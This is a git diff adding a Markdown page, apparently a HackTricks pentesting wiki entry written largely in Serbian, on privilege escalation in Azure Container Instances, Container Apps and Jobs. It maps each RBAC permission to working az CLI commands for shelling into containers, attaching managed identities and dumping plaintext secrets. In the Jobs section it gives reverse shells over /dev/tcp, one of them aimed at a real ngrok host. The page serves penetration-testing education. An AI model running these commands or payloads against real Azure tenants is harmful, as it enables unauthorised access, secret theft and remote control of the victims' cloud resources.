diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md new file mode 100644 index 000000000..9a3276c52 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md @@ -0,0 +1,177 @@ +# Az - Azure Container Instances, Apps & Jobs Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Instances, Apps & Jobs + +Za više informacija pogledajte: + +{{#ref}} +../az-services/az-container-instances-apps-jobs.md +{{#endref}} + +## ACI + +### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action` + +Ove dozvole omogućavaju korisniku da **izvrši komandu** u pokrenutom kontejneru. Ovo se može koristiti za **povećanje privilegija** u kontejneru ako ima neku upravljanu identitet. Naravno, takođe je moguće pristupiti izvoru koda i bilo kojim drugim osetljivim informacijama pohranjenim unutar kontejnera. + +Da biste dobili shell, dovoljno je: +```bash +az container exec --name --resource-group --exec-command '/bin/sh' +``` +Takođe je moguće **pročitati izlaz** kontejnera sa: +```bash +az container attach --name --resource-group +``` +Ili dobijte logove sa: +```bash +az container logs --name --resource-group +``` +### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Ove dozvole omogućavaju **priključivanje korisnički upravljane identitete** grupi kontejnera. Ovo je veoma korisno za eskalaciju privilegija u kontejneru. + +Da biste priključili korisnički upravljanu identitetu grupi kontejnera: +```bash +az rest \ +--method PATCH \ +--url "/subscriptions//resourceGroups//providers/Microsoft.ContainerInstance/containerGroups/?api-version=2021-09-01" \ +--body '{ +"identity": { +"type": "UserAssigned", +"userAssignedIdentities": { +"/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/": {} +} +} +}' \ +--headers "Content-Type=application/json" +``` +### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Ove dozvole omogućavaju **kreiranje ili ažuriranje grupe kontejnera** sa **korisnički upravljanom identitetom** prikačenim na nju. Ovo je veoma korisno za eskalaciju privilegija u kontejneru. +```bash +az container create \ +--resource-group \ +--name nginx2 \ +--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \ +--assign-identity "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" \ +--restart-policy OnFailure \ +--os-type Linux \ +--cpu 1 \ +--memory 1.0 +``` +Moreover, it's also possible to update an existing container group adding for example the **`--command-line` argument** with a reverse shell. + +## ACA + +### `Microsoft.App/containerApps/read`, `Microsoft.App/managedEnvironments/read`, `microsoft.app/containerapps/revisions/replicas`, `Microsoft.App/containerApps/revisions/read`, `Microsoft.App/containerApps/getAuthToken/action` + +Ove dozvole omogućavaju korisniku da **dobije shell** u pokrenutom aplikacionom kontejneru. Ovo se može koristiti za **eskalaciju privilegija** u kontejneru ako ima neku upravljanu identitetu prikačenu. Ofc, takođe je moguće pristupiti izvoru koda i bilo kojim drugim osetljivim informacijama smeštenim unutar kontejnera. +```bash +az containerapp exec --name --resource-group --command "sh" +az containerapp debug --name --resource-group + +``` +### `Microsoft.App/containerApps/listSecrets/action` + +Ova dozvola omogućava dobijanje **čistog teksta tajni** konfiguranih unutar aplikacije kontejnera. Imajte na umu da se tajne mogu konfigurisati sa čistim tekstom ili sa linkom na ključnu riznicu (u tom slučaju će aplikaciji biti dodeljen upravljani identitet sa pristupom tajnama). +```bash +az containerapp secret list --name --resource-group +az containerapp secret show --name --resource-group --secret-name +``` +### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Ove dozvole omogućavaju **priključivanje korisnički upravljane identitete** na aplikaciju kontejnera. Ovo je veoma korisno za eskalaciju privilegija u kontejneru. Izvršavanje ove akcije iz az cli takođe zahteva dozvolu `Microsoft.App/containerApps/listSecrets/action`. + +Da biste priključili korisnički upravljanu identitetu grupi kontejnera: +```bash +az containerapp identity assign -n -g --user-assigned myUserIdentityName +``` +### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action` + +Ove dozvole omogućavaju **kreiranje ili ažuriranje aplikacionog kontejnera** sa **korisnički upravljanom identitetom** prikačenim na njega. Ovo je veoma korisno za eskalaciju privilegija u kontejneru. +```bash +# Get environments +az containerapp env list --resource-group Resource_Group_1 + +# Create app in a an environment +az containerapp create \ +--name \ +--resource-group \ +--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \ +--cpu 1 --memory 1.0 \ +--user-assigned \ +--min-replicas 1 \ +--command "" +``` +> [!TIP] +> Imajte na umu da se sa ovim dozvolama **mogu modifikovati druge konfiguracije aplikacije** što može omogućiti izvođenje drugih privesc i post eksploitacionih napada u zavisnosti od konfiguracije postojećih aplikacija. + +## Jobs + +### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/write` + +Iako poslovi nisu dugotrajni kao aplikacije u kontejnerima, možete iskoristiti mogućnost prepisivanja konfiguracije komande posla prilikom pokretanja izvršenja. Kreiranjem prilagođenog šablona posla (na primer, zamenom podrazumevane komande sa reverznim shell-om), možete dobiti pristup shell-u unutar kontejnera koji pokreće posao. +```bash +# Retrieve the current job configuration and save its template: +az containerapp job show --name --resource-group --output yaml > job-template.yaml + +# Edit job-template.yaml to override the command with a reverse shell (or similar payload): +# For example, change the container’s command to: +# - args: +# - -c +# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1 +# command: +# - /bin/bash +# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest + +# Update and wait until the job is triggered (or change ths type to scheduled) +az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml + +# Start a new job execution with the modified template: +az containerapp job start --name --resource-group --yaml job-template.yaml +``` +### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/listSecrets/action` + +Ako imate ove dozvole, možete da navedete sve tajne (prva dozvola) unutar Job kontejnera i zatim pročitate vrednosti konfigurisanih tajni. +```bash +az containerapp job secret list --name --resource-group +az containerapp job secret show --name --resource-group --secret-name +``` +### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write` + +Ako imate dozvolu da modifikujete konfiguraciju posla, možete prikačiti identitet koji je dodeljen korisniku. Ovaj identitet može imati dodatne privilegije (na primer, pristup drugim resursima ili tajnama) koje se mogu zloupotrebiti za eskalaciju privilegija unutar kontejnera. +```bash +az containerapp job update \ +--name \ +--resource-group \ +--assign-identity +``` +### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Ako možete da kreirate novi Container Apps Job (ili ažurirate postojeći) i povežete upravljenu identitet, možete dizajnirati posao da izvrši payload koji eskalira privilegije. Na primer, mogli biste da kreirate novi posao koji ne samo da pokreće reverznu ljusku, već takođe koristi kredencijale upravljene identiteta da zatraži tokene ili pristup drugim resursima. +```bash +az containerapp job create \ +--name \ +--resource-group \ +--environment \ +--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \ +--user-assigned \ +--trigger-type Schedule \ +--cron-expression "*/1 * * * *" \ +--replica-timeout 1800 \ +--replica-retry-limit 0 \ +--command "bash -c 'bash -i >& /dev/tcp// 0>&1'" +``` +> [!TIP] +> Ova komanda će izazvati grešku ako nemate `Microsoft.App/jobs/read` dozvolu, iako će posao biti kreiran. + +### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read` + +Izgleda da bi sa ovim dozvolama trebalo biti moguće pokrenuti posao. Ovo bi moglo biti korišćeno za pokretanje posla sa reverznim shell-om ili bilo kojom drugom zlonamernom komandom bez potrebe za modifikovanjem konfiguracije posla. + +Nisam uspeo da to funkcioniše, ali prema dozvoljenim parametrima, to bi trebalo biti moguće. + + +{{#include ../../../banners/hacktricks-training.md}}